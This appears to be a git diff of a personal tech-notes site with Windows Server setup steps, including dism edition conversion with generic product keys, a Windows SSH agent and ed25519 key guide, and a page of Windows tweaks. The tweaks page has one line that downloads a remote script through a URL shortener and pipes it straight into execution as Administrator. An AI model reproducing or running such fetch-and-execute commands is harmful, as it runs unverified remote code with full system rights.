      At Server Manager click Configure this local server

      • Computer name - rename the server's name
      • Remote Desktop - allow RDP
      • Ethernet instance - disable IPV6
      • Feedback & Diagnostics - set Feedback frequency to Never
      • IE Enhanced Security Configuration - Off
      • Time zone - set the current timezone, At Internet Time tab chanche time.windwos.com to time.nist.gov

      Open gpedit.msc with Run

      • Local Computer Policy -> Administrative Templates -> System -> Display Shutdown Even Tracker - Disable
      • Local Computer Policy -> Windows Settings -> Security Settings -> Local Policies -> Security Options ->Interactive logon: Do not require CTRL+ALT+DEL - Enable

      Convert Evaluation Copy to Full Version

      When using the Evaluation version of Windows Server, the desktop displays the current build and the time until the end of the grace period (Windows License valid for 180 days).

      Windows Server 2022

      Run from Powershell:

      Windows Server 2022 Standard

      dism /online /set-edition:serverstandard /productkey:VDYBN-27WPP-V4HQT-9VMD4-VMK7H /accepteula
      +

      Windows Server 2022 Datacenter:

      dism /online /set-edition:serverdatacenter /productkey:WX4NM-KYWYW-QJJR4-XV3QB-6VM33 /accepteula
      +

      Windows Server 2019

      Run from Powershell:

      Windows Server 2019 Standard

      dism /online /set-edition:ServerStandard /productkey:N69G4-B89J2-4G8F4-WWYCC-J464C /accepteula
      +

      Windows Server 2019 Datacenter:

      dism /online /set-edition:ServerDatacenter /productkey:WMDGN-G9PQG-XVVXX-R3X43-63DFG /accepteula
      +

      Comments

      \ No newline at end of file diff --git a/windows/windows-ssh-agent-with-keys/index.html b/windows/windows-ssh-agent-with-keys/index.html new file mode 100644 index 000000000..a37222394 --- /dev/null +++ b/windows/windows-ssh-agent-with-keys/index.html @@ -0,0 +1,187 @@ + Windows SSH with ed25519 Keys - 3os
      Authors: fire1ce | Created: 2023-07-05 | Last update: 2023-07-05

      Windows SSH Client with ed25519 Keys for Secure Connections

      In the modern digital age, ensuring the security of your connections is critical. This guide will walk you through the steps to configure the SSH client and SSH agent on Windows using ed25519 keys, allowing for secure connections to services like Git and remote servers.

      Introduction to SSH and ed25519 Keys

      SSH, or Secure Shell, is a cryptographic network protocol for secure communication over an unsecured network. It is particularly used for secure logins, file transfers, and command-line operations.

      ed25519 is a public-key signature system that is renowned for high security with relatively short key lengths. This makes it faster and more efficient compared to older algorithms such as RSA.

      OpenSSH Client Installation

      To utilize SSH, you need to ensure that the OpenSSH client is installed on your Windows system.

      Note

      The above below should be performed in PowerShell with Administrator privileges.

      1. Check if OpenSSH Client is available by running the following cmdlet:
      Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'
      +

      If OpenSSH Client is not installed, the output will be:

      Name: OpenSSH.Client~~~~0.0.1.0
      +State: NotPresent
      +

      If it's not present, proceed to the next step to install it.

      1. Install the OpenSSH Client by running the following command:
      # Install the OpenSSH Client
      +Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0
      +

      The command should return:

      Path:
      +Online: True
      +RestartNeeded: False
      +

      Setting Up SSH Agent in Windows

      The SSH Agent is a background service that stores your keys. When connecting to a remote host using SSH, the agent can automatically provide the key.

      Note

      The above below should be performed in PowerShell with Administrator privileges.

      1. Set SSH Agent to start automatically at boot:
      Set-Service -Name ssh-agent -StartupType 'Automatic'
      +
      1. Start the SSH Agent service:
      Start-Service -Name ssh-agent
      +
      1. Test the SSH Agent Is Running:
      Get-Service -Name ssh-agent
      +

      The output should be:

      Status   Name               DisplayName
      +------   ----               -----------
      +Running  ssh-agent          OpenSSH Authentication Agent
      +

      Generating and Adding ed25519 SSH Keys

      Note

      The above below should be performed in PowerShell with regular user privileges.

      1. Generate ed25519 SSH keys:
      ssh-keygen -t ed25519 -C "your_email@example.com"
      +

      This command generates an ed25519 key pair. The default location for the keys is C:\Users\<YourUsername>\.ssh. The private key is named id_ed25519 and the public key is named id_ed25519.pub.

      1. Adding the ed25519 SSH Key to the SSH Agent:
      ssh-add $env:USERPROFILE\.ssh\id_ed25519
      +

      If your keys are stored in a different location or have a different name, you can specify the full path to the key file as an argument to ssh-add. For example:

       ssh-add C:\path\to\your\private-key-file
      +

      Importing Existing ed25519 SSH Keys (Optional)

      If you already have an existing pair of ed25519 SSH keys that you would like to use, you can import them into your SSH Agent.

      Note

      The above below should be performed in PowerShell with regular user privileges.

      1. Copy your existing private key to the default SSH folder. The default folder for SSH keys is typically C:\Users\<YourUsername>\.ssh. Make sure the private key file you are copying is named id_ed25519.

      2. Add the existing ed25519 SSH Key to the SSH Agent:

      ssh-add $env:USERPROFILE\.ssh\id_ed25519
      +

      Note: If your private key file is located in a different path or has a different name, you can specify the full path to the key file as an argument to ssh-add. For example:

      ssh-add C:\path\to\your\private-key-file
      +
      1. Copy your existing public key to the servers or services you want to connect to. This typically involves appending the contents of your public key file to the ~/.ssh/authorized_keys file on the server.

      Step 5: Using SSH with ed25519 Keys for Secure Connections

      Now that you have your ed25519 SSH keys generated or imported, and added to the SSH Agent, you can use SSH to connect to remote servers or services like Git securely.

      For example, to connect to a remote server:

      ssh username@remote_host
      +

      Using SSH keys will also allow you to interact with Git repositories securely, which is especially helpful when dealing with private repositories or pushing code changes.

      Wrapping Up

      By following this guide, you have configured the SSH client and SSH agent on your Windows system using ed25519 keys. This configuration ensures secure communication with services like Git and remote servers, safeguarding the integrity and security of your data.

      Comments

      \ No newline at end of file diff --git a/windows/windows-tweaks/index.html b/windows/windows-tweaks/index.html new file mode 100644 index 000000000..fe1e899ec --- /dev/null +++ b/windows/windows-tweaks/index.html @@ -0,0 +1,177 @@ + Windwos 10/11 Tweeks - 3os
      Authors: fire1ce | Created: 2022-06-15 | Last update: 2022-06-15

      Windwos 10/11 Tweeks

      Some tips and tricks and Tweeks for Windows 10/11 that may be helpful or even essential for you

      Deblot Windwos 10/11 Powershell Script

      Source: Windows10Debloater Github Page

      Run as Administrator:

      iwr -useb https://git.io/debloat|iex
      +

      Windows10Debloater

      Enable the Legacy Context Menu in Windows 11

      To enable the context menu that appeared in Windows 10 and earlier, you can use the following PowerShell snippet.

      New-Item -Path "HKCU:\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" -Value "" -Force
      +

      You may need to log out and log back in or restart explorer.exe.

      Get-Process explorer | Stop-Process
      +

      The context menu will now look like this:

      content-menu

      Allow ICMP (Ping) in Windows Firewall

      The following commands will allow ICMP (Ping) in Windows Firewall. Use Powershell as Administrator to run the following commands.

      For IPv4:

      netsh advfirewall firewall add rule name="ICMP Allow incoming V4 echo request" protocol="icmpv4:8,any" dir=in action=allow
      +

      For IPv6:

      netsh advfirewall firewall add rule name="ICMP Allow incoming V6 echo request" protocol="icmpv6:8,any" dir=in action=allow
      +

      Activate Administrator User

      Hit the Windows Key + R and type

      lusrmgr.msc
      +

      Edit Administrator, remove the - [x] Account is disable. ok

      Right Click on Administrator and click Set Password

      Lunch "Network Connections"

      Hit the Windows Key + R and type

      ncpa.cpl
      +

      Add Program to Startup - Windows 7,8,10 & Servers

      Hit WIN+R or from start menu search run and press enter.
      At run dialog enter shell:common startup:

      shell:common startup

      • Create shortcut for the program you want to auto startup when Windows boots.
      • Move the shortcut to the Startup folder that opened before.

      Reboot or Shutdown Windows From Command Line (CMD)

      Reboot windows computer This command will set a time out of 10 seconds to close the applications. After 10 seconds, windows reboot will start.

      shutdown /r /t 10
      +

      Force reboot

      shutdown /r /f /t 0
      +

      Force Shutdown

      shutdown /s /f /t 0
      +

      Comments

      \ No newline at end of file